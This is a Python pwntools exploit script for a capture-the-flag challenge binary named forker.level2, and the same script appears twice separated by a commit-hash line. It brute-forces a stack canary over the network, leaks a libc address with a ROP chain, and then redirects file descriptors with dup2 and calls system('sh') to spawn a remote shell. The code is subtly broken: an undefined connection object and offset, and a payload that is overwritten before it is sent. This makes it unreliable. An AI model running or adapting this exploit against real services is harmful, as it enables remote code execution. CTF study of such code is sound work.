from pwn import *
import time
e = context.binary = ELF('./forker.level2')

debug = 0

if debug == 1:
	libc = ELF('./reverse_libc')
else:
	libc = ELF('./libc-2.26.so')


pop_rdi_ret = 0x400bc3
pop_rsi_r15_ret = 0x400bc1


dprintf_offset = libc.symbols['dprintf']
sys_offset     = libc.symbols['system']
exit_offset    = libc.symbols['exit']
sh_offset      = libc.search('sh\x00').next()




libc_base = 0x00
canary = []




def leak_canary():

	global canary
	global libc_base

	for j in range (0, 8):

		for i in range (0, 256):
			print i
			if i == 10:
				continue
			#r = remote('192.168.226.129', 31337)
			r = remote('forker2.wpictf.xyz', 31337)
			r.recvuntil("Password:")

			hex_byte = chr(i)
			leak  = 'A'*(72)
			leak += ''.join([k for k in canary])
			leak += hex_byte
			print size(leak)

			r.sendline(leak)
			try:
				print r.recv()
				r.close()
			except Exception:
				r.close()
				continue
			canary.append(hex_byte)
			break




def leak_libc():

	global canary
	global libc_base

	leak  = 'A'*(72)
	leak += ''.join([k for k in canary])
	leak +='A'*(40)

	leak += p64(pop_rdi_ret)
	leak += p64(0x04)
	leak += p64(pop_rsi_r15_ret)
	leak += p64(e.got.puts)     # argument
	leak += p64(0x00)     		# argument
	leak += p64(e.plt.dprintf)     # function_call
	#leak += p64(0x7e89000 + dprintf_offset)     # function_call
	leak += p64(e.plt.exit)    # pop rdi; ret

	leak  = 'A'*(72)
	r.recvuntil("Password:")

	time.sleep(10)

	r.sendline(leak)


	puts  = u64(r.recv(6).strip().ljust(8, "\x00"))

	log.success('puts() at %#x', puts)

	libc_base = puts - puts_offset

	log.success('libc_base located at %#x', libc_base)




def exploit():

	if debug == 1:
		r = remote('192.168.226.129', 31337) # connect to the remote service
	else:
		r = remote('forker2.wpictf.xyz', 31337)


	global canary
	global ret
	global libc_base


	system = libc_base + sys_offset
	sh = libc_base + sh_offset
	exit = libc_base + exit_offset



	dup2_address = libc_base + libc.symbols['dup2']


	leak  = 'A'*(72)
	leak += ''.join([k for k in canary])
	leak +='A'*(40)

	leak += p64(pop_rdi_ret)
	leak += p64(4)
	leak += p64(pop_rsi_r15_ret)
	leak += p64(0)
	leak += p64(0x00)
	leak += p64(dup2_address)

	leak += p64(pop_rdi_ret)
	leak += p64(4)
	leak += p64(pop_rsi_r15_ret)
	leak += p64(1)
	leak += p64(0x00)
	leak += p64(dup2_address)

	leak += p64(pop_rdi_ret)
	leak += p64(4)
	leak += p64(pop_rsi_r15_ret)
	leak += p64(2)
	leak += p64(0x00)
	leak += p64(dup2_address)

	leak += p64(pop_rdi_ret) # pop rdi; ret
	leak += p64(sh)          # argument
	leak += p64(system)      # function_call


	r.recvuntil("Password:")
	#time.sleep(10)
	r.sendline(leak)



	r.interactive()




leak_canary()
leak_libc()
exploit()
e1b110f15422e30a65e72701ee4f7ec91c863fb0
from pwn import *
import time
e = context.binary = ELF('./forker.level2')

debug = 0

if debug == 1:
	libc = ELF('./reverse_libc')
else:
	libc = ELF('./libc-2.26.so')


pop_rdi_ret = 0x400bc3
pop_rsi_r15_ret = 0x400bc1


dprintf_offset = libc.symbols['dprintf']
sys_offset     = libc.symbols['system']
exit_offset    = libc.symbols['exit']
sh_offset      = libc.search('sh\x00').next()




libc_base = 0x00
canary = []




def leak_canary():

	global canary
	global libc_base

	for j in range (0, 8):

		for i in range (0, 256):
			print i
			if i == 10:
				continue
			#r = remote('192.168.226.129', 31337)
			r = remote('forker2.wpictf.xyz', 31337)
			r.recvuntil("Password:")

			hex_byte = chr(i)
			leak  = 'A'*(72)
			leak += ''.join([k for k in canary])
			leak += hex_byte
			print size(leak)

			r.sendline(leak)
			try:
				print r.recv()
				r.close()
			except Exception:
				r.close()
				continue
			canary.append(hex_byte)
			break




def leak_libc():

	global canary
	global libc_base

	leak  = 'A'*(72)
	leak += ''.join([k for k in canary])
	leak +='A'*(40)

	leak += p64(pop_rdi_ret)
	leak += p64(0x04)
	leak += p64(pop_rsi_r15_ret)
	leak += p64(e.got.puts)     # argument
	leak += p64(0x00)     		# argument
	leak += p64(e.plt.dprintf)     # function_call
	#leak += p64(0x7e89000 + dprintf_offset)     # function_call
	leak += p64(e.plt.exit)    # pop rdi; ret

	leak  = 'A'*(72)
	r.recvuntil("Password:")

	time.sleep(10)

	r.sendline(leak)


	puts  = u64(r.recv(6).strip().ljust(8, "\x00"))

	log.success('puts() at %#x', puts)

	libc_base = puts - puts_offset

	log.success('libc_base located at %#x', libc_base)




def exploit():

	if debug == 1:
		r = remote('192.168.226.129', 31337) # connect to the remote service
	else:
		r = remote('forker2.wpictf.xyz', 31337)


	global canary
	global ret
	global libc_base


	system = libc_base + sys_offset
	sh = libc_base + sh_offset
	exit = libc_base + exit_offset



	dup2_address = libc_base + libc.symbols['dup2']


	leak  = 'A'*(72)
	leak += ''.join([k for k in canary])
	leak +='A'*(40)

	leak += p64(pop_rdi_ret)
	leak += p64(4)
	leak += p64(pop_rsi_r15_ret)
	leak += p64(0)
	leak += p64(0x00)
	leak += p64(dup2_address)

	leak += p64(pop_rdi_ret)
	leak += p64(4)
	leak += p64(pop_rsi_r15_ret)
	leak += p64(1)
	leak += p64(0x00)
	leak += p64(dup2_address)

	leak += p64(pop_rdi_ret)
	leak += p64(4)
	leak += p64(pop_rsi_r15_ret)
	leak += p64(2)
	leak += p64(0x00)
	leak += p64(dup2_address)

	leak += p64(pop_rdi_ret) # pop rdi; ret
	leak += p64(sh)          # argument
	leak += p64(system)      # function_call


	r.recvuntil("Password:")
	#time.sleep(10)
	r.sendline(leak)



	r.interactive()




leak_canary()
leak_libc()
exploit()